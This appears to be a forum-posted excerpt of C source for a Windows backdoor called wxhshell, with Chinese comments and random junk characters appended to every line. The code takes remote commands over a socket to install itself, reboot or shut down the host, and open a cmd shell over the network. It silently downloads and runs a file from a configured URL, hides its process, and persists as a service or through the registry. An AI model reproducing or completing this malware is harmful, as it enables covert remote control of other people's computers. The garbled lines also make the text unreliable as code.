      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a*S4rq@  
    break; R[Kyq|UyVr  
  } W/{HZ< :.  
  // 安装 u& :-&gva  
  case 'i': { r#3_F=xL5  
    if(Install()) P*R`3Y,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =}U`q3k  
    else .wS' Xn&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 81H04L9K 7  
    break; oe4Fy}Y_;  
    } X )g <F  
  // 卸载 +&-/$\"  
  case 'r': { $xlI"-(  
    if(Uninstall()) )MW.Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SukRJvi  
    else ],&WA?>G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6#.z:_  
    break; qeSxE`E"  
    } d5+ (@HSR  
  // 显示 wxhshell 所在路径 :%)l* [  
  case 'p': { Sep}{`u  
    char svExeFile[MAX_PATH]; t#}/VnSQ  
    strcpy(svExeFile,"\n\r"); N~g'Z `  
      strcat(svExeFile,ExeFile); GZ UDI#  
        send(wsh,svExeFile,strlen(svExeFile),0); LYkW2h`JQ  
    break; do7 [Nj  
    } Y*B}^!k6  
  // 重启 70a7}C\/o  
  case 'b': { @B*?owba>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6#KRI%adw`  
    if(Boot(REBOOT)) yo") G!BN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xv9SQ,n<  
    else { y7ijT='8  
    closesocket(wsh); m(XcPb  
    ExitThread(0); C B=H1+  
    } r2qxi'  
    break; oAA%pZ@  
    } dBX%/  
  // 关机 I(bH.{1n7  
  case 'd': { I/_`/mQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -?&wD["y  
    if(Boot(SHUTDOWN)) UP 75}h9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 73rr"> 9#0  
    else { S3`zB?7,  
    closesocket(wsh); ke2'?,f  
    ExitThread(0); {1>V~e8t  
    } ?o"wyF A*  
    break; 2 Do^N5y  
    } sr sDnf  
  // 获取shell a(NN%'fDD  
  case 's': { FG38)/  
    CmdShell(wsh); %=S~[&8C  
    closesocket(wsh); 4[9~g=y>  
    ExitThread(0); uqnoE;57^  
    break; IFH%R>={  
  } |k{?\(h;  
  // 退出 q4|TwRx~  
  case 'x': { 0:@:cz=#*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .&T JSIx$  
    CloseIt(wsh); ~}i &gd|(  
    break; \@8$tQCZ  
    } ;KWR/?ec  
  // 离开 #&\^{Z  
  case 'q': { Gc<Jx|Q7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %XMrS lSOp  
    closesocket(wsh); ` Cdk b5  
    WSACleanup(); CY? ]o4IV  
    exit(1); [kMXr'TyPX  
    break; c1'OIK C  
        } <:W]uT  
  } WhMr'l/e  
  } #^" \WG7{  
yrs![u  
  // 提示信息 :\NqGS=<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (?72 vCc  
} M6jP>fbV*  
  }  2(YZTaY  
<bDjAVq  
  return; {W62%>v  
} BBm.;=8@ ^  
<fCgU&  
// shell模块句柄 t7H2z}06=h  
int CmdShell(SOCKET sock) cmmH)6c>  
{ @f{yx\u/  
STARTUPINFO si; R)?K+cJ%  
ZeroMemory(&si,sizeof(si)); ja$e)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [9u/x%f(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #?k$0|60  
PROCESS_INFORMATION ProcessInfo; cYF R.~p  
char cmdline[]="cmd"; HIcx "y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :=+s^K  
  return 0; 6+_)(+ c  
} U\&kT/6vh  
? }|;ai  
// 自身启动模式 :+|b7fF  
int StartFromService(void) :@I?JSi  
{ mR,p?[P  
typedef struct IvTtQq  
{ /tikLJ  
  DWORD ExitStatus; |xG|HJm,  
  DWORD PebBaseAddress; a.v$+}+.[,  
  DWORD AffinityMask; GrGgR7eC#P  
  DWORD BasePriority; "Q`{+|'=E  
  ULONG UniqueProcessId; wO@b=1j  
  ULONG InheritedFromUniqueProcessId; 5r.\maW  
}   PROCESS_BASIC_INFORMATION; y, tA~  
H'-Fv!l?  
PROCNTQSIP NtQueryInformationProcess; 7 6~x|6)  
"!i7U2M'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :c"J$wT/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nchhNU  
8c\mm 0n  
  HANDLE             hProcess; L01R.3Z+  
  PROCESS_BASIC_INFORMATION pbi; 5YUn{qtD  
#IDDKUE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .^N+'g  
  if(NULL == hInst ) return 0; *,-)4)7d  
*r!1K!c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wh l)^D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;Z:z'';Lm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W1f]A#t<  
wb 2N$Ew=  
  if (!NtQueryInformationProcess) return 0; +^{;o0kcx  
M@UkXA}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ez%RWck  
  if(!hProcess) return 0; udX4SBq-pC  
 wa6DJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c5>&~^~>Tx  
#.?DsK_:@  
  CloseHandle(hProcess); s/0-DHd  
9aD6mp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZalG/PFy  
if(hProcess==NULL) return 0; 1wmS?  
j 9XY%4.  
HMODULE hMod; =<s+cM  
char procName[255]; ,miU'<8tQ|  
unsigned long cbNeeded; ~O?Gi 4^Yg  
81V,yq]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G1  %c<1Y  
}UMg ph:2:  
  CloseHandle(hProcess); 4NUCLr7Y  
e2*0NT^R  
if(strstr(procName,"services")) return 1; // 以服务启动 &_HSrU  
W}EI gVHs  
  return 0; // 注册表启动 r.** z j  
} UTc$zc7  
ca*USM  
// 主模块 ndT:,"s  
int StartWxhshell(LPSTR lpCmdLine) 6* cm  
{ /xJ,nwp7  
  SOCKET wsl; d*khda;Vj  
BOOL val=TRUE; z[b,:G  
  int port=0; %+|k>?&z7  
  struct sockaddr_in door; fu}NH \{  
@riCR<fF  
  if(wscfg.ws_autoins) Install(); D Km`  
9Gfm?.O5  
port=atoi(lpCmdLine); s@OCj0'l  
X ~%I(?OX  
if(port<=0) port=wscfg.ws_port; @y[Zr6\z  
Yr-a8aSTE5  
  WSADATA data; @xH|(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9E)*X  
E^zgYkZO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E `Ualai  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6_=qpP-?  
  door.sin_family = AF_INET; JQYIvo1,Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K~z*P 0g*  
  door.sin_port = htons(port); GBzC<e#  
s+(%N8B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7f8%WD)  
closesocket(wsl); H[@uE*W  
return 1; TyD*m$`y  
} $"0 t1  
Q~G+YjM3  
  if(listen(wsl,2) == INVALID_SOCKET) { xyj)W  
closesocket(wsl); 10_eUQN  
return 1; iN8?~T}w  
} g4<%t,(88E  
  Wxhshell(wsl); 'C+z  
  WSACleanup(); Qh%/{6(u  
U8]L3&~  
return 0; X5U_|XK6Y  
T#6']D  
} q#LwM]<.@>  
7s; <5xc  
// 以NT服务方式启动 5#g<L ~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fO[X<|9  
{ `J[(Dx'y=t  
DWORD   status = 0; G]E$U]=9r:  
  DWORD   specificError = 0xfffffff; 0bQaXxt|p  
Vo+d3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nMx0+N1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jFM8dl n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >F8&wh'BjY  
  serviceStatus.dwWin32ExitCode     = 0; _s><>LH~  
  serviceStatus.dwServiceSpecificExitCode = 0; D@uw[;Xb5  
  serviceStatus.dwCheckPoint       = 0; sSd  
  serviceStatus.dwWaitHint       = 0; )MZ]c)JD^  
NLyvi,svS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M$ep.<Z1|  
  if (hServiceStatusHandle==0) return; .{k(4_Q?I  
TP{lt6wws(  
status = GetLastError(); a3?Dtoy'  
  if (status!=NO_ERROR) -b~MQ/, 2  
{ ih.UzPg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %}%D8-d}G  
    serviceStatus.dwCheckPoint       = 0; /O|!Sg{  
    serviceStatus.dwWaitHint       = 0; r(yJE1Wz  
    serviceStatus.dwWin32ExitCode     = status; QtJe){(z+  
    serviceStatus.dwServiceSpecificExitCode = specificError; <89@k(\ /  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (aVs p*E  
    return; $5GvF1  
  } E}lU?U5i  
a({qc0+UK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _DMj )enH"  
  serviceStatus.dwCheckPoint       = 0; c=I!?a"  
  serviceStatus.dwWaitHint       = 0; cBmo#:>'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [#V"a:8m}  
} _55T  
,r{*o6  
// 处理NT服务事件,比如:启动、停止 4U<'3~RN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <]/`#Xgh  
{ m}:";>?#  
switch(fdwControl) 2n?\tOm(V  
{ &~pj)\_  
case SERVICE_CONTROL_STOP: IE$x2==)  
  serviceStatus.dwWin32ExitCode = 0; 6T< ~mn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @pQv}%  
  serviceStatus.dwCheckPoint   = 0; HQ7-,!XO  
  serviceStatus.dwWaitHint     = 0; vF;6Y(h>  
  { tirw{[X0n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [T"oqO4%]  
  } ^8.R 'Yq  
  return; Tr)a6Cf  
case SERVICE_CONTROL_PAUSE: (6u<w#u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v!t*Ng  
  break; |o~FKy1'z\  
case SERVICE_CONTROL_CONTINUE: Vyj>&"28  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1]A%lud4  
  break; $Bz|[=  
case SERVICE_CONTROL_INTERROGATE: JnhHV(H  
  break; o%h\55S  
}; B5#a 4G.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UL; d H  
} @_Aqk{3  
^4Tr @g#]"  
// 标准应用程序主函数 }CsUZ&*&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5U|f"3&8  
{ ijr*_=  
[4kx59J3b  
// 获取操作系统版本 :|<D(YA  
OsIsNt=GetOsVer(); lcJ`OLG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ll1?I8}5|  
?8-e@/E#x  
  // 从命令行安装 & ?/h5<  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9Vzk:zOT  
s.1(- "DU  
  // 下载执行文件 q]<Xx{_  
if(wscfg.ws_downexe) { ~Az20RrK)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ETH`.~%  
  WinExec(wscfg.ws_filenam,SW_HIDE); j!mI9*hP  
} aP8Im1<A  
)7q;F m_/  
if(!OsIsNt) { g]$>G0E`oD  
// 如果时win9x,隐藏进程并且设置为注册表启动 5Ag]1k{  
HideProc(); $msT,$NJ  
StartWxhshell(lpCmdLine); da\K>An>  
} s?~Abj_  
else mt fDl;/D  
  if(StartFromService()) H\8i9RI  
  // 以服务方式启动 +SPC@E_v  
  StartServiceCtrlDispatcher(DispatchTable); jA=uK6m  
else GuM-H $,  
  // 普通方式启动 XS9k&~)*  
  StartWxhshell(lpCmdLine); GJ%It .  
RK'3b/T  
return 0; @ )<uQ S  
}
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只看该作者 1 发表于: 2006-10-10
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